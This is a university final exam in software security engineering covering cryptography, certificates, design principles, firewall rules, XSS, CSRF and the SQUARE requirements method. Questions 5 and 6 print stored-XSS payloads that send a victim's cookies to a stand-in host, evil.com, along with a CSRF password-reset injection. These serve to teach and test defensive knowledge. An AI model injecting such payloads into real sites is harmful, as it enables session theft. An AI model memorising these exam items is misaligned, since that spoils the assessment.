THOMPSON RIVERS UNIVERSITY

Department of Engineering

SENG 4220
Software Security Engineering

Final Exam

Date: April 9, 2025
Exam duration: 180 min

Instructions: This is a CLOSED BOOK exam. Textbooks, notes, laptops, personal digital assistants, tablets, and cellular phones are NOT allowed. It is a 180 minute exam, with a total of 100 marks. There are 7 questions, and 13 pages (excluding this cover page). Please read each question carefully, and write your answers legibly in the space provided. This exam MAY NOT be removed from the room. When you are finished, please hand in your exam paper and sign out.

Good luck!

Student Name: _____

TRU ID: _____

Question	Points	Score
01	20	
02	16	
03	10	
04	8	
05	18	
06	20	
07	8	
Total	100	

Q1 - T/F/MCQ Software Security Definitions

1 1. A security mechanism defines the high-level rules and practices for what is and is not allowed within a system, while a security policy is the technical implementation used to enforce those rules.

(a) True

(b) False

1 2. If a vulnerability exists and the potential cost of exploitation is extremely high, the actual risk can be considered negligible if there is virtually no realistic threat.

(a) True

(b) False

1 3. Public-key encryption is used in hybrid encryption because it can encrypt large amounts of data quickly.

(a) True

(b) False

1 4. One-time pads require both a random key and a random IV to be secure.

(a) True

(b) False

1 5. Small changes to the input of a hash function usually result in only minor changes to its output.

(a) True

(b) False

1 6. The generator and modulus (g, p) in Diffie-Hellman must not be reused between key exchanges.

(a) True

(b) False

1 7. CSRF attacks allow an attacker to make requests that look like they're coming from the victim, but are actually being sent by the attacker.

(a) True

(b) False

1 8. CSRF tokens defend against CSRF attacks executed through malicious $< img >$ tags.

(a) True

(b) False

1 9. CBC mode encryption provides both confidentiality and integrity.

(a) True

(b) False

1 10. Clickjacking circumvents the same-origin policy by tricking the user into clicking a button or link on another page.

(a) True

(b) False

1 11. Frame busting is a method that can prevent clickjacking attacks for all types of embedded content, including Facebook "like" buttons.

(a) True

(b) False

1 12. Prepared statements are a good defense against SQL injection.

(a) True

(b) False

1 13. Without cookies, it would be impossible for users to authenticate themselves in a request.

(a) True

(b) False

1 14. DHCP spoofing can be prevented by using Ethernet instead of wireless.

(a) True

(b) False

1 15. An on-path attacker is more powerful than an off-path attacker: anything an off-path attacker can do, so can an on-path attacker.

(a) True

(b) False

1 16. Using a pseudorandom number generator, seeded by the current time of day (measured to microsecond precision), is a good way to generate an AES key.

(a) True

(b) False

1 17. Setting the "secure" flag on a cookie (so it will only be sent over HTTPS) is a good defense against CSRF.

(a) True

(b) False

1 18. Access control ensures that authorized users who have access to sensitive data won't misuse it.

(a) True

(b) False

1 19. Alice wants to communicate with Bob using Tor with 3 intermediaries. If the first 2 intermediaries are dishonest, they will be able to determine that Alice and Bob are communicating.

(a) True

(b) False

1 20. When a client sends a message over the Tor network, Tor's onion routing works because each intermediary encrypts the message they receive with the public key of the following intermediary, so no one else can decrypt the messages.

(a) True

(b) False

Q2 - Software Security Design Principles

You are presented with a list of security principles and a series of scenarios. For each scenario, choose the security principle that is ***most applicable*** and provide a one-paragraph explanation of your choice. It is possible for multiple scenarios to share the same security principle, and there may be security principles that are not relevant to any of the scenarios.

Design Principles: {DP1: Economy of mechanism; DP2: Fail-safe defaults; DP3: Complete mediation; DP4: Open design; DP5: Separation of privilege; DP6: Least privilege; DP7: Least common mechanism; DP8: Psychological acceptability; DP9: Time-tested tools; DP10: Evidence production; DP11: remnant removal; DP12: reluctant allocation; DP13: security by design; DP14: security is economics; DP15: Defence in depth; DP16: know your adversary.}

2 1. A company develops a highly secure internal messaging application. To prevent data leaks, the application designers decide to implement a feature where messages automatically delete after 1 hour and disable copy/paste functionality entirely within the app. However, employees find this extremely inconvenient for their workflow, leading many to screenshot messages or re-type information into less secure applications (like email) to retain it.

2 2. A web application uses a single, shared database connection pool for all user sessions. This pool handles requests for retrieving user profile data, processing transactions, and updating site-wide settings. An attacker finds a way to tie up connections in the pool by submitting very slow database queries through their user profile page. This prevents other users, including administrators trying to access settings, from performing any database actions.

2 3. A developer is building a simple utility to resize images uploaded by users. They include libraries for image processing, user authentication (even though the spec doesn't require logins), network requests (just in case they add a 'share' feature later), and advanced cryptographic functions. The final application only uses the image processing part.

2 4. A system requires users to authenticate when they first access it. However, once authenticated, the system caches the user's permissions and doesn't re-verify authorization for subsequent actions within the same session. An administrator later revokes a user's permissions, but the user can still perform actions they are no longer authorized for until their session expires or they log out.

2 5. To simplify deployment, a cloud application is configured to run all its processes (web server, database, background job processor) under a single, highly privileged service account. This account has full read/write access to all system resources and data.

2 6. A programmer writes code that processes user-uploaded files. To handle potential errors during processing, the code includes detailed error messages that are sent back to the user. In some error cases, these messages inadvertently include snippets of internal file paths or configuration details (e.g., "Error processing file at $/var/www/uploads/temp/userfile.tmp$ - cannot connect to database '$prod\_db$' ").

2 7. A secure facility requires employees to swipe an access card to enter the main building. Additionally, to access the server room within the building, employees must enter a separate PIN code on a keypad at the server room door.

2 8. A web application stores sensitive user data temporarily in memory while processing a request. After the request is complete, the application explicitly overwrites the memory locations where the sensitive data was stored with zeros before releasing the memory back to the operating system.

Q3 - Cryptography

4 1. Explain the concept of "perfect secrecy". What are the necessary conditions for a cryptosystem, like the One-Time Pad (OTP), to achieve it?

4 2. What is the fundamental vulnerability exploited in a "two-time pad" attack?

2 3. Explain the difference between a Known Plaintext Attack (KPA) and a Chosen Plaintext Attack (CPA).

Q4 - Certificates

You are working as a software engineer for an online discussion forum called Piazzzzza, which uses the following certificate hierarchy:

1. Everyone has access to the public key of a trusted root certificate authority (CA)
2. The root CA uses its private key to sign a certificate C for Piazzzzza's public key
3. Piazzzzza uses its private key to sign a certificate for each user's public key

For each of the following statements (question 1 to 3), decide whether it is true or false and justify your choice.

2 1. True or False: An attacker who steals the private key of the root CA can forge C.

2 2. True or False: An attacker who steals the private key of Piazzzzza can forge C.

2 3. True or False: An attacker who steals the private key of a user can forge C.

2 4. Suppose you are talking with someone claiming to be Jinan. Assume you have Jinan's public key. Which of the following pieces of information on its own can prove that you are really talking with Jinan? Select one.

(a) The root certificate

(b) Jinan's certificate

(c) A message "You are talking to Jinan" signed by Jinan's private key

(d) A message "You are talking to Jinan" signed by the root CA's private key

(e) None of the above

Q5 - Software Security Lifecycle

To track the Avengers, Nick Fury has recruited you to create a location-sharing application called Find My Avengers (`https://findmyavengers.tru.ca/`).
Users sign in with a username and password. Once they've signed in, they're asked to set their name and profile picture URL, which they can change at any point in the future. On the home page, they can see the names and profile pictures for each person that has shared their location with them. Assume that Find My Avengers uses session token-based authentication, with a sessionToken cookie with the following attributes:

```
Domain: findmyavengers.tru.ca
Path: /
```

Assume that all adversaries have control over `https://evil.com/`, and can access a log of all requests made to that domain. Assume that all XSS protections are disabled, unless otherwise stated.

In this question, we will examine the security aspects of the different phases in the software development lifecycle that were utilized to develop this application.

2 1. Thanos sets his name to the following JavaScript payload:

```
<script> fetch(`https://evil.com/send?message=`+document.cookie)
</script>
```

Then, Thanos shares his location with Dr. Strange. Under which of the following configurations for the site's session token will Dr. Strange's session token be leaked to Thanos when Dr. Strange opens the site? For this question part only, assume that a stored XSS vulnerability exists on the site (i.e. no prevention event has been made). Select all that apply.

(a) Secure = False, HttpOnly = False

(b) Secure = False, HttpOnly = True

(c) Secure = True, HttpOnly = False

(d) Secure = True, HttpOnly = True

(e) None of the above

4 2. In order to see the names and profile pictures of their friends, the server makes a request to 'findmyavengers.tru.ca/api/getFriendList'. The server checks the value of the sessionToken cookie against a sessions table, and returns an array of friend usernames and current locations if a valid session token exists. For this question, assume the session token is configured as follows:

```
Domain:  findmyavengers.tru.ca
Path:  /
Secure:  False
HttpOnly:  False
```

Assume that Loki has identified a reflected XSS attack on each of the following domains. Which domains can he use to achieve his end goal of learning all of Dr. Strange's friends' locations? Select all that apply. (Hint: Here the cookie's same origin policy is important)

(a) `https://findmyavengers.tru.ca/`

(b) `http://findmyavengers.tru.ca/`

(c) `https://findmyavengers.tru.ca/other`

(d) `https://findmyavengers.tru.ca:8084/other`

(e) `http://eng.findmyavengers.tru.ca/`

(f) `https://tru.ca/`

(g) None of the above

4 3. In order to make the website functional, you asked another 4220 student, a co-op student in Stark Industries' IT department, for a favour to allow you to use a GPS JavaScript library provided by the Stark's company. The following line is added to `https://findmyavengers.eng.org`.

```
<script src="https://cdn.starkindustries.com/gps.js" />
```

(i) Given that Same-Origin Policy applies, is this script able to run? Why?

(ii) What origin does the script have? [select one]

(a) `https://cdn.starkindustries.com/`

(b) `https://starkindustries.com/`

(c) `https://findmyavengers.tru.ca/`

(d) `https://tru.ca/`

(e) None of the above

8 4. A 4220's graduate who is the head of Stark Industries' IT department, has been tasked with securing the Avengers' internal network against potential network attacks by Ultron.

(i) What should be set as the default policy, and why?

(ii) What is the purpose of these packet filter rules?

a `allow tcp 1.2.3.4:* -> 10.0.0.1:80`

b `deny tcp 1.2.3.4:* -> 10.0.0.1:*`

(iii) Write a rule to block all HTTP traffic coming from Ultron's IP address, `1.2.3.4`, assuming that HTTP always uses port 80.

(iv) Write a rule to allow outbound DNS requests. Block inbound DNS responses. Assume that name servers always listen on port 53.

Q6 - Web Security

Alice and Eve both have accounts on `evanbook.com`. EvanBook is a social media website that allows users to make posts. Those posts are stored on EvanBook servers.

12 1. Eve makes an EvanBook post with the contents:
`<script src="http://evanmail.com/something.js"></script>`
Assume EvanBook does not check user inputs. If Alice opens Eve's post, consider the following statements and determine whether each one would occur or not, and explain why.

i. The JavaScript in something.js runs with the origin of evanbook.com.

ii. The JavaScript in something.js runs with the origin of evanmail.com.

iii. The JavaScript in something.js does not run.

iv. Alice's browser is able to make a request to evanmail.com/something.js without being blocked.

v. If EvanBook sanitized all JavaScript input, Alice's browser would not run something.js.

vi. If EvanBook sanitized all HTML input, Alice's browser would not run something.js.

4 2. Eve makes an EvanBook post with the contents:
`<script src="http://evanbook.com/resetPassword?password=123"></script>`
The resetPassword endpoint makes a request that sets the currently logged-in user's password to the "password" query parameter input.
Assume EvanBook does not check user inputs. When Alice opens Eve's post, which attack (Stored XSS, Reflected XSS, CSRF, SQL Injection) has Eve executed? Explain why?

4 3. Eve makes an EvanBook post with the contents:
`<script>win.open("http://evil.com/store?cookie=" + document.cookie)</script>`
which `http://evil.com/store` is a page controlled by Eve that takes in URL query parameters, and stores those URL query parameters in the database of the website. Assume EvanBook does not check user inputs. If Alice opens Eve's post, which of these cookies gets sent to evil.com? Select all that apply.

A. `Domain = evil.com, Path = /, HTTPOnly = True, Secure = False`

B. `Domain = evil.com, Path = /store, HTTPOnly = False, Secure = False`

C. `Domain = evil.com, Path = /store, HTTPOnly = True, Secure = True`

D. `Domain = evanbook.com, Path = /, HTTPOnly = True, Secure = False`

E. `Domain = evanbook.com, Path = /, HTTPOnly = False, Secure = False`

F. `Domain = evanbook.com, Path = /, HTTPOnly = False, Secure = True`

Q7 - Requirements Engineering for Secure Software

2 1. What are some of the consequences of ignoring security requirements?

2 2. What is the SQUARE methodology and what is the goal of the SQUARE process?

4 3. Put the nine steps of the SQUARE methodology in the correct order:

1. Develop artifacts to support security requirements definition.
2. Inspect requirements.
3. Identify assets and security goals.
4. Agree on definitions.
5. Select elicitation technique(s).
6. Prioritize requirements.
7. Elicit security requirements.
8. Assess risks.
9. Categorize requirements.

*** THE END ***